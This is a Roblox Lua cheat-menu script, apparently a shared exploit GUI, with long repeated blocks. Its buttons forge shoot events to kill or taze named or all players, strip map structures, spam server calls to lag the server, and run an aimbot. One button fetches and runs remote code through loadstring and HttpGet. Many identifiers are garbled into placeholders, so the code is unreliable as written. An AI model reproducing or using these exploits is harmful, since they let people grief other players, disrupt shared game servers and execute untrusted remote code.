[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])
end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)
end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then
[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
for i, v in pairs([Link]:GetPlayers()) do
if v and [Link] ~= [Link] then

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]

[Link]:FindFirstChildOfClass("Tool").Parent =
[Link]
wait()
[Link] =
[Link]([Link] +
[Link])

end
wait(0.01)

end
end)

[Link] = "drill"
[Link] = main
drill.BackgroundColor3 = [Link](1, 1, 0)
[Link] = [Link](0.343317509, 0, 0.704794705, 0)
[Link] = [Link](0, 111, 0, 25)
[Link] = [Link]
[Link] = "Fe Drill"
drill.TextColor3 = [Link](0, 0, 0)
[Link] = 14
drill.MouseButton1Down:connect(function()
[Link]:FireServer("Bright blue")

local toolamount = 80 -- How long the tornado is


local tornadosize = 1 -- The size of how big the opening of the
tornado is

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
[Link]:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #[Link]:GetChildren()
[Link] = true
local tempchar = [Link]:Clone()
[Link] = workspace
local savepos =
[Link]:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = [Link]:Connect(function()
[Link] =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs([Link]:GetChildren()) do
if tool:IsA("Tool") then
[Link] = LocalPlayer
end
end
[Link]:ClearAllChildren()
local char = [Link]("Model", workspace)
[Link](characters, char)
[Link]("Humanoid", char)
[Link] = char
repeat [Link]:Wait() until
[Link] ~= nil
end)
repeat [Link]:Wait() until
#LocalPlayer:GetChildren() - 4 - currentamount >= toolamount
renderstepped:Disconnect()
repeat [Link]:Wait() until
[Link]:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for index, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
[Link] = [Link]
[Link] = false
[Link] = [Link]([Link](0, -index * .1,
0)) * [Link]([Link](90), 0, [Link](index * 0.5))
[Link] = [Link]
if [Link]:FindFirstChild("Mesh") ~= nil then
[Link]:Destroy()
end
end
end
[Link]:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()
end)

[Link] = "killplrmain"
[Link] = main
killplrmain.BackgroundColor3 = [Link](1, 0, 1)
[Link] = [Link](0.0321613066, 0, 0.836535037, 0)
[Link] = [Link](0, 103, 0, 47)

[Link] = "killtext"
[Link] = killplrmain
killtext.BackgroundColor3 = [Link](1, 0.666667, 1)
[Link] = [Link](0, 0, 0.0212752968, 0)
[Link] = [Link](0, 99, 0, 19)
[Link] = [Link]
[Link] = "Player Name"
killtext.TextColor3 = [Link](0, 0, 0)
[Link] = 14

[Link] = "kill"
[Link] = killplrmain
kill.BackgroundColor3 = [Link](0, 0, 0)
[Link] = [Link](0.0999999046, 0, 0.531914949, 0)
[Link] = [Link](0, 80, 0, 22)
[Link] = [Link]
[Link] = "KILL"
kill.TextColor3 = [Link](1, 1, 1)
[Link] = 14
kill.MouseButton1Down:connect(function()

[Link]:InvokeServer(workspace.Prison_ITEMS.giver["Reming
ton 870"].ITEMPICKUP)

wait(0.1)
[Link]:FireServer("Medium stone grey")

local A_1 =
{
[1] =
{
["RayObject"] = [Link]([Link](827.412415,
101.489777, 2296.84326), [Link](277.738678, 6.89340925, 287.773712)),
["Distance"] = 4.7204174995422,
["Cframe"] = [Link](832.049377, 101.392006,
2300.97168, 0.843892097, -0.0554918349, 0.533635378, 0, 0.994636595, 0.103430569,
-0.536512911, -0.0872842371, 0.839366019),
["Hit"] = [Link][[Link]].Head
},
[2] =
{
["RayObject"] = [Link]([Link](827.412415,
101.489777, 2296.84326), [Link](303.047546, 21.3568707, 260.203888)),
["Distance"] = 4.8114862442017,
["Cframe"] = [Link](832.390259, 101.550629,
2300.74097, 0.738044441, -0.112958886, 0.665229917, 7.45057971e-09, 0.985887885,
0.16740793, -0.674752235, -0.123554483, 0.727628946),
["Hit"] = [Link][[Link]].Head
},
[3] =
{
["RayObject"] = [Link]([Link](827.412415,
101.489777, 2296.84326), [Link](296.800507, 7.00420141, 268.067932)),
["Distance"] = 4.444625377655,
["Cframe"] = [Link](832.185486, 101.391617,
2300.70264, 0.775115669, -0.0692948848, 0.628007889, 7.45057971e-09, 0.993967533,
0.109675139, -0.631819367, -0.0850109085, 0.770439863),
["Hit"] = [Link][[Link]].Head
},
[4] =
{
["RayObject"] = [Link]([Link](827.412415,
101.489777, 2296.84326), [Link](284.930573, 11.9850616, 280.483368)),
["Distance"] = 4.6211166381836,
["Cframe"] = [Link](832.10083, 101.445007,
2300.86963, 0.820150614, -0.0735745132, 0.567397356, 0, 0.991697431, 0.128593579,
-0.572147667, -0.105466105, 0.81334126),
["Hit"] = [Link][[Link]].Head
},
[5] =
{
["RayObject"] = [Link]([Link](827.412415,
101.489777, 2296.84326), [Link](294.625824, 2.15741801, 270.538269)),
["Distance"] = 4.4639973640442,
["Cframe"] = [Link](832.169434, 101.341301,
2300.73438, 0.784266233, -0.0537625961, 0.618090749, -3.7252903e-09, 0.99623847,
0.086654529, -0.620424569, -0.0679602176, 0.781316102),
["Hit"] = [Link][[Link]].Head
}
}
local A_2 = [Link]["Remington 870"]
local Event = game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)

wait(0.5)
[Link]:FireServer("Bright orange")
end)

[Link] = "waves"
[Link] = main
waves.BackgroundColor3 = [Link](1, 1, 0)
[Link] = [Link](0.0201378968, 0, 0.646579564, 0)
[Link] = [Link](0, 111, 0, 26)
[Link] = [Link]
[Link] = "Fe Waves"
waves.TextColor3 = [Link](0, 0, 0)
[Link] = 14
waves.MouseButton1Down:connect(function()
[Link]:FireServer("Bright blue")

local toolamount = 40 -- How long the tornado is


local tornadosize = 1 -- The size of how big the opening of the
tornado is

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
[Link]:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #[Link]:GetChildren()
[Link] = true
local tempchar = [Link]:Clone()
[Link] = workspace
local savepos =
[Link]:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = [Link]:Connect(function()
[Link] =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs([Link]:GetChildren()) do
if tool:IsA("Tool") then
[Link] = LocalPlayer
end
end
[Link]:ClearAllChildren()
local char = [Link]("Model", workspace)
[Link](characters, char)
[Link]("Humanoid", char)
[Link] = char
repeat [Link]:Wait() until
[Link] ~= nil
end)
repeat [Link]:Wait() until
#LocalPlayer:GetChildren() - 4 - currentamount >= toolamount
renderstepped:Disconnect()
repeat [Link]:Wait() until
[Link]:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for index, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
[Link] = [Link]
[Link] = false
[Link] = [Link]([Link](0, [Link](index
+ 0.5), index)) * [Link]([Link](tornadosize), 0, -index)
[Link] = [Link]
if [Link]:FindFirstChild("Mesh") ~= nil then
[Link]:Destroy()
end
end
end
[Link]:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()
end)
[Link] = "bigbowl"
[Link] = main
bigbowl.BackgroundColor3 = [Link](1, 1, 0)
[Link] = [Link](0.341908664, 0, 0.647788644, 0)
[Link] = [Link](0, 111, 0, 26)
[Link] = [Link]
[Link] = "Fe Big Bowl"
bigbowl.TextColor3 = [Link](0, 0, 0)
[Link] = 14
bigbowl.MouseButton1Down:connect(function()
[Link]:FireServer("Bright blue")

local toolamount = 250 -- How much covered the bowl is


local bowlsize = 20 -- How big the bowl is

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
[Link]:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #[Link]:GetChildren()
[Link] = true
local tempchar = [Link]:Clone()
[Link] = workspace
local savepos =
[Link]:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = [Link]:Connect(function()
[Link] =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs([Link]:GetChildren()) do
if tool:IsA("Tool") then
[Link] = LocalPlayer
end
end
[Link]:ClearAllChildren()
local char = [Link]("Model", workspace)
[Link](characters, char)
[Link]("Humanoid", char)
[Link] = char
repeat [Link]:Wait() until
[Link] ~= nil
end)
repeat [Link]:Wait() until
#LocalPlayer:GetChildren() - 4 - currentamount >= toolamount
renderstepped:Disconnect()
repeat [Link]:Wait() until
[Link]:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for index, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
[Link] = [Link]
[Link] = true
[Link] = [Link]([Link]([Link](index *
0.1), bowlsize, 0)) * [Link]([Link](index * 0.1), index, 0)
[Link] = [Link]
if [Link]:FindFirstChild("Mesh") ~= nil then
[Link]:Destroy()
end
end
end
[Link]:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()
[Link]:FindFirstChild("Humanoid").HipHeight =
bowlsize
end)

[Link] = "tazeplrmain"
[Link] = main
tazeplrmain.BackgroundColor3 = [Link](1, 0, 1)
[Link] = [Link](0.358376801, 0, 0.83788842, 0)
[Link] = [Link](0, 103, 0, 47)

[Link] = "tazetext"
[Link] = tazeplrmain
tazetext.BackgroundColor3 = [Link](1, 0.666667, 1)
[Link] = [Link](0, 99, 0, 19)
[Link] = [Link]
[Link] = "Player Name"
tazetext.TextColor3 = [Link](0, 0, 0)
[Link] = 14

[Link] = "taze"
[Link] = tazeplrmain
taze.BackgroundColor3 = [Link](0, 0, 0)
[Link] = [Link](0.128543824, 0, 0.510639191, 0)
[Link] = [Link](0, 80, 0, 22)
[Link] = [Link]
[Link] = "TAZE"
taze.TextColor3 = [Link](1, 1, 1)
[Link] = 14
taze.MouseButton1Down:connect(function()
local A_1 =
{
[1] =
{
["RayObject"] = [Link]([Link](829.838562,
101.489998, 2331.25635), [Link](-30.6540909, -5.42795324, 95.0308533)),
["Distance"] = 15.355997085571,
["Cframe"] = [Link](826.616699, 100.8508,
2340.11279, 0.964640439, -0.00993416365, -0.263382077, 9.31322575e-10, 0.999289393,
-0.0376908854, 0.263569355, 0.0363581516, 0.963954985),
["Hit"] = [Link][[Link]].Torso
}
}
local A_2 = [Link]["Taser"]
local Event = game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)
end)

[Link] = "teamcrim"
[Link] = main
teamcrim.BackgroundColor3 = [Link](1, 0, 0)
[Link] = [Link](0.775380731, 0, 0.108776733, 0)
[Link] = [Link](0, 83, 0, 22)
[Link] = [Link]
[Link] = "Team Crim"
teamcrim.TextColor3 = [Link](0, 0, 0)
[Link] = 14
teamcrim.MouseButton1Down:connect(function()
wait(0.3)
[Link] =
[Link](-976.125183, 109.123924, 2059.99536)

wait(0.3)
[Link] =
[Link](918.77,100,2379.07)
end)

[Link] = "tazeall"
[Link] = main
tazeall.BackgroundColor3 = [Link](1, 0, 0)
[Link] = [Link](0.342309177, 0, 0.759402633, 0)
[Link] = [Link](0, 109, 0, 34)
[Link] = [Link]
[Link] = "Taze All"
tazeall.TextColor3 = [Link](0, 0, 0)
[Link] = 14
tazeall.MouseButton1Down:connect(function()
[Link]:FireServer("Bright blue")

function kill(a)
local A_1 =
{
[1] =
{
["RayObject"] =
[Link]([Link](829.838562, 101.489998, 2331.25635), [Link](-30.6540909,
-5.42795324, 95.0308533)),
["Distance"] = 15.355997085571,
["Cframe"] = [Link](826.616699,
100.8508, 2340.11279, 0.964640439, -0.00993416365, -0.263382077, 9.31322575e-10,
0.999289393, -0.0376908854, 0.263569355, 0.0363581516, 0.963954985),
["Hit"] = [Link]
}
}
local A_2 = [Link]["Taser"]
local Event =
game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)
end
for i,v in pairs([Link]:GetChildren())do
if [Link] ~= [Link] then
kill(v)
end
end
end)

[Link] = "removewalls"
[Link] = main
removewalls.BackgroundColor3 = [Link](1, 0, 0)
[Link] = [Link](0.670628905, 0, 0.758472741, 0)
[Link] = [Link](0, 110, 0, 34)
[Link] = [Link]
[Link] = "Remove Walls"
removewalls.TextColor3 = [Link](0, 0, 0)
[Link] = 14
removewalls.MouseButton1Down:connect(function()
wait(0.1)
[Link].Prison_Guard_Outpost:Remove()

wait(0.1)
[Link].Prison_Cafeteria.building:Remove()

wait(0.1)
[Link].Prison_Cafeteria.glass:Remove()

wait(0.1)
[Link].Prison_Cafeteria.oven:Remove()

wait(0.1)
[Link].Prison_Cafeteria.shelves:Remove()

wait(0.1)
[Link].Prison_Cafeteria.vents:Remove()

wait(0.1)
[Link].Prison_Cafeteria.accents:Remove()

wait(0.1)
[Link].Prison_Cafeteria.vendingmachine:Remove()

wait(0.1)
[Link].Prison_Cafeteria.Prison_table1:Remove()

wait(0.1)
[Link].Prison_Cafeteria.counter:Remove()
wait(0.1)
[Link].Prison_Cafeteria.boxes:Remove()
end)

[Link] = "removeall"
[Link] = main
removeall.BackgroundColor3 = [Link](1, 0, 0)
[Link] = [Link](0.673120499, 0, 0.838146329, 0)
[Link] = [Link](0, 110, 0, 47)
[Link] = [Link]
[Link] = "Remove All"
removeall.TextColor3 = [Link](0, 0, 0)
[Link] = 14
removeall.MouseButton1Down:connect(function()
wait(0.1)
[Link].Prison_Halls.walls:Remove()

wait(0.1)
[Link].Prison_Halls.roof:Remove()

wait(0.1)
[Link].Prison_Halls.outlines:Remove()

wait(0.1)
[Link].Prison_Halls.lights:Remove()

wait(0.1)
Workspace.Prison_Halls.accent:Remove()

wait(0.1)
[Link].Prison_Halls.glass:Remove()

wait(0.1)
[Link].Prison_Cellblock.b_front:Remove()

wait(0.1)
[Link].Prison_Cellblock.doors:Remove()

wait(0.1)
[Link].Prison_Cellblock.c_tables:Remove()

wait(0.1)
[Link].Prison_Cellblock.a_front:Remove()

wait(0.1)
[Link].Prison_Cellblock.b_outerwall:Remove()
wait(0.1)
[Link].Prison_Cellblock.c_wall:Remove()

wait(0.1)
[Link].Prison_Cellblock.b_wall:Remove()

wait(0.1)
[Link].Prison_Cellblock.c_hallwall:Remove()

wait(0.1)
[Link].Prison_Cellblock.a_outerwall:Remove()

wait(0.1)
[Link].Prison_Cellblock.b_ramp:Remove()

wait(0.1)
[Link].Prison_Cellblock.a_ramp:Remove()

wait(0.1)
[Link].Prison_Cellblock.a_walls:Remove()

wait(0.1)
[Link].Prison_Cellblock.Cells_B:Remove()

wait(0.1)
[Link].Prison_Cellblock.Cells_A:Remove()

wait(0.1)
[Link].Prison_Cellblock.c_corner:Remove()

wait(0.1)
[Link].Prison_Cellblock.Wedge:Remove()

wait(0.1)
[Link].Prison_Cellblock.a_ceiling:Remove()

wait(0.1)
[Link].Prison_Cellblock.b_ceiling:Remove()

wait(0.1)
[Link].City_buildings:Remove()

wait(0.1)
[Link].Prison_OuterWall:Remove()
wait(0.1)
[Link].Prison_Fences:Remove()
end)

[Link] = "lagserver"
[Link] = main
lagserver.BackgroundColor3 = [Link](0.333333, 0, 0.498039)
[Link] = [Link](0.66476965, 0, 0.659647882, 0)
[Link] = [Link](0, 120, 0, 42)
[Link] = [Link]
[Link] = "Lag Server (Swat)"
lagserver.TextColor3 = [Link](0, 1, 1)
[Link] = 14
lagserver.MouseButton1Down:connect(function()
while true do
[Link]:FireServer("Bright blue")

for i = 10000,999999999999999,1 do
for i,v in
pairs(Workspace.Prison_ITEMS.clothes:GetChildren()) do

lol =
[Link]:InvokeServer([Link])
print(lol)
end
end
end

end)
-- Scripts:
end)

[Link] = "lasertag"
[Link] = Frame
lasertag.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
lasertag.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0699071586, 0, 0.259425044, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Laser Tag TP Gui (made by me)"
lasertag.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
lasertag.MouseButton1Down:connect(function()

local ScreenGui = [Link]("ScreenGui")


local Frame = [Link]("Frame")
local blueflag = [Link]("TextButton")
local redflag = [Link]("TextButton")
local TextLabel = [Link]("TextLabel")
local TextLabel_2 = [Link]("TextLabel")
local TextLabel_3 = [Link]("TextLabel")
--Properties:

[Link] = [Link]

[Link] = ScreenGui
Frame.BackgroundColor3 = [Link](217, 224, 255)
Frame.BorderColor3 = [Link](162, 161, 186)
[Link] = 10
[Link] = [Link](0.768745065, 0, 0.733528554, 0)
[Link] = [Link](0, 278, 0, 170)
[Link] = true
[Link] = true
[Link] = "blueflag"
[Link] = Frame
blueflag.BackgroundColor3 = [Link](255, 128, 128)
blueflag.BorderColor3 = [Link](162, 70, 70)
[Link] = 5
[Link] = [Link](0.44698, 0, 0.0549995303, 0)
[Link] = [Link](0, 146, 0, 69)
[Link] = [Link]
[Link] = "Blue Flag"
blueflag.TextColor3 = [Link](0, 0, 0)
[Link] = 14.000
blueflag.MouseButton1Down:connect(function()
[Link] =
[Link](7.21175814, 18.1412735, -458.570953, -0.469445229, 0.0782607049,
-0.879486442, -1.53945674e-08, 0.996064246, 0.0886343271, 0.882961571,
0.0416089781, -0.467597604)
end)
[Link] = "redflag"
[Link] = Frame
redflag.BackgroundColor3 = [Link](66, 142, 255)
redflag.BorderColor3 = [Link](44, 81, 200)
[Link] = 5
[Link] = [Link](0.446980059, 0, 0.540823281, 0)
[Link] = [Link](0, 146, 0, 69)
[Link] = [Link]
[Link] = "Red Flag"
redflag.TextColor3 = [Link](0, 0, 0)
[Link] = 14.000
redflag.MouseButton1Down:connect(function()
[Link] =
[Link](6.84425402, 19.2521877, 228.495193, -0.958809853, 0.00723718712,
-0.283956468, 9.09468945e-09, 0.999675393, 0.0254786555, 0.284048676, 0.0244291835,
-0.958498597)
end)
[Link] = Frame
TextLabel.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.0332628153, 0, -0.0355438516, 0)
[Link] = [Link](0, 104, 0, 143)
[Link] = [Link]
[Link] = "Laser Tag"
TextLabel.TextColor3 = [Link](29, 29, 29)
[Link] = 24.000

TextLabel_2.Parent = Frame
TextLabel_2.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.Position = [Link](0.0332629681, 0, 0.158418775, 0)
TextLabel_2.Size = [Link](0, 104, 0, 143)
TextLabel_2.Font = [Link]
TextLabel_2.Text = "TP Gui"
TextLabel_2.TextColor3 = [Link](29, 29, 29)
TextLabel_2.TextSize = 24.000

TextLabel_3.Parent = Frame
TextLabel_3.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_3.BackgroundTransparency = 1.000
TextLabel_3.Position = [Link](0.0647566915, 0, 0.537352562, 0)
TextLabel_3.Size = [Link](0, 87, 0, 136)
TextLabel_3.Font = [Link]
TextLabel_3.Text = "by ItsMoth (YT)"
TextLabel_3.TextColor3 = [Link](29, 29, 29)
TextLabel_3.TextSize = 15.000
end)
[Link] = "pizza"
[Link] = Frame
pizza.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
pizza.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0699071586, 0, 0.53258419, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Pizza Place Manager Script"
pizza.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
pizza.MouseButton1Down:connect(function()
--THIS SCRIPT BELONGS TOO serilKilla!

spawn(loadstring(game:HttpGet("[Link]

--Use \ to execute commands


end)

[Link] = "arsenal"
[Link] = Frame
arsenal.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
arsenal.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0699071586, 0, 0.394387424, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Arsenal Aimbot (E)"
arsenal.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
arsenal.MouseButton1Down:connect(function()
[Link]:GetMouse().KeyDown:Connect(function(k)
if k == "e" then
local Gun =
[Link]:FindFirstChild([Link]
[Link]);
local Crit = [Link]() > .6 and true or false;
for i,v in pairs([Link]:GetPlayers()) do
if v and [Link] and
[Link]:FindFirstChild("Head") then
local Distance =
([Link] -
[Link]).magnitude
for i = 1,10 do

[Link]:FireServer([Link],
[Link] +
[Link]([Link](), [Link](), [Link]()),
[Link],
Crit and 2 or 1,
Distance,
Backstab,
Crit,
false,
1,
false,
[Link],
[Link],
[Link],
[Link],
[Link],
[Link],
[Link],
[Link],
Gun['Speed%'].Value,

[Link]);
end
end
end
end
end)
end)
[Link] = "credits"
[Link] = Frame
credits.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
credits.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0699071586, 0, 0.819276094, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Gui Made By ItsMoth / gerald #1234"
credits.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
[Link] = "title"
[Link] = Frame
title.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](-0.00302505493, 0, -0.00199633837, 0)
[Link] = [Link](0, 300, 0, 50)
[Link] = [Link]
[Link] = "Page 2"
title.TextColor3 = [Link](110, 255, 120)
[Link] = 40.000

[Link] = "subtitle"
[Link] = Frame
subtitle.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
